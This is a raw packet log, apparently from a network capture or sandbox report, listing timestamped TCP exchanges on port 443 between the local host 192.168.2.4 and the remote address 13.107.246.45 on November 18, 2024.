Nov 18, 2024 17:24:16.006421089 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.057277918 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.057913065 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.057929993 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.058362961 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.058370113 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.068591118 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.069214106 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.069227934 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.069675922 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.069680929 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.186688900 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.186860085 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.186928988 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.187031031 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.187057018 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.187071085 CET	49909	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.187078953 CET	443	49909	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.189814091 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.189850092 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.189938068 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.190105915 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.190120935 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.200511932 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.200692892 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.200757980 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.200963020 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.200963974 CET	49910	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.200979948 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.200990915 CET	443	49910	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.203649998 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.203686953 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.203761101 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.203921080 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.203937054 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.717595100 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.718079090 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.718099117 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.718550920 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.718559027 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.719209909 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.722716093 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.722748995 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.723300934 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.723306894 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.764101982 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.764573097 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.764600039 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.765044928 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.765062094 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.847906113 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848027945 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848083973 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.848093987 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848269939 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.848294973 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848295927 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848315954 CET	49912	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.848325014 CET	443	49912	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.848356009 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.849494934 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.849494934 CET	49911	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.849514008 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.849526882 CET	443	49911	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.851751089 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.851804018 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.851866007 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.852880001 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.852973938 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.853004932 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.853024960 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.853049994 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.853205919 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.853241920 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.904695988 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.906459093 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.906526089 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.906563997 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.906563997 CET	49913	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.906583071 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.906594038 CET	443	49913	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.909476042 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.909531116 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.909600019 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.909744978 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.909761906 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.953731060 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.954569101 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.954611063 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.955050945 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.955058098 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.964637041 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.965039968 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.965070963 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:16.965485096 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:16.965496063 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.080766916 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.081500053 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.081584930 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.084124088 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.084175110 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.084208012 CET	49915	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.084224939 CET	443	49915	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.087054014 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.087121964 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.087193966 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.087337971 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.087363005 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.097129107 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.097260952 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.097311020 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.097693920 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.097712040 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.097723961 CET	49914	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.097731113 CET	443	49914	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.101609945 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.101644039 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.101702929 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.101878881 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.101891994 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.580068111 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.580646038 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.580671072 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.581095934 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.581100941 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.606354952 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.606728077 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.606782913 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.607148886 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.607163906 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.694823027 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.695266008 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.695292950 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.695734978 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.695741892 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.717777967 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.717865944 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.718377113 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.718465090 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.718486071 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.718502998 CET	49916	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.718509912 CET	443	49916	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.721090078 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.721129894 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.721246004 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.721383095 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.721394062 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.741827965 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.741904974 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.741997004 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.742177963 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.742191076 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.742208004 CET	49917	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.742213964 CET	443	49917	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.744935989 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.744976044 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.745141029 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.745346069 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.745357990 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.826786041 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.827097893 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.827173948 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.827220917 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.827220917 CET	49918	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.827240944 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.827253103 CET	443	49918	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.830147982 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.830190897 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.830286980 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.830459118 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.830476046 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.843414068 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.844252110 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.844273090 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.844711065 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.844717026 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.895781040 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.898309946 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.898372889 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.898768902 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.898787022 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.971579075 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.971754074 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.971858978 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.971895933 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.971910954 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.971920967 CET	49920	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.971926928 CET	443	49920	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.975331068 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.975362062 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:17.975563049 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.975716114 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:17.975737095 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.024306059 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.024467945 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.024641037 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.024702072 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.024702072 CET	49919	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.024728060 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.024744034 CET	443	49919	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.027498960 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.027525902 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.027609110 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.027744055 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.027755022 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.451838017 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.452644110 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.452656984 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.453090906 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.453098059 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.492002964 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.497025967 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.497042894 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.497517109 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.497522116 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.582971096 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.583053112 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.583127022 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.583364964 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.583374977 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.583384991 CET	49921	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.583389997 CET	443	49921	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.584152937 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.584589005 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.584594965 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.585058928 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.585062027 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.586231947 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.586267948 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.586357117 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.586639881 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.586651087 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.626656055 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.626688004 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.626746893 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.626776934 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.626948118 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.626966000 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.626976013 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.627127886 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.627168894 CET	443	49922	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.627211094 CET	49922	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.629412889 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.629456997 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.629683971 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.629683971 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.629725933 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.717988014 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.718617916 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.718631983 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.719214916 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.719221115 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.720638037 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.721323967 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.721396923 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.721438885 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.721451044 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.721458912 CET	49923	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.721462965 CET	443	49923	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.724095106 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.724108934 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.724176884 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.724296093 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.724303961 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.752899885 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.753369093 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.753381968 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.753813028 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.753818035 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.848932028 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.849097013 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.849246979 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.849246979 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.849291086 CET	49924	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.849308014 CET	443	49924	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.852168083 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.852266073 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.852355003 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.852485895 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.852505922 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881036043 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881105900 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881177902 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.881195068 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881256104 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881331921 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.881537914 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.881553888 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.881563902 CET	49925	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.881570101 CET	443	49925	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.885215044 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.885251999 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:18.885310888 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.885425091 CET	49930	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:18.885435104 CET	443	49930	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.326550961 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.327341080 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.327351093 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.327996969 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.328001976 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457511902 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457540989 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457693100 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457847118 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.457847118 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.457946062 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457973003 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.457973003 CET	49926	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.457989931 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.457998991 CET	443	49926	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.458357096 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.458368063 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.458837032 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.458842993 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.461128950 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.461195946 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.461272955 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.461410046 CET	49931	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.461441040 CET	443	49931	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.572869062 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.573434114 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.573450089 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.573915958 CET	49927	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.573923111 CET	443	49927	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.585328102 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.585870981 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.585905075 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.586319923 CET	49929	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.586330891 CET	443	49929	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.591219902 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.591932058 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.592004061 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.592045069 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.592063904 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.592077971 CET	49928	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.592082977 CET	443	49928	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.594923973 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.594953060 CET	443	49932	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:19.595015049 CET	49932	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:19.595161915 CET	49932	443	192.168.2.4	13.107.246.45
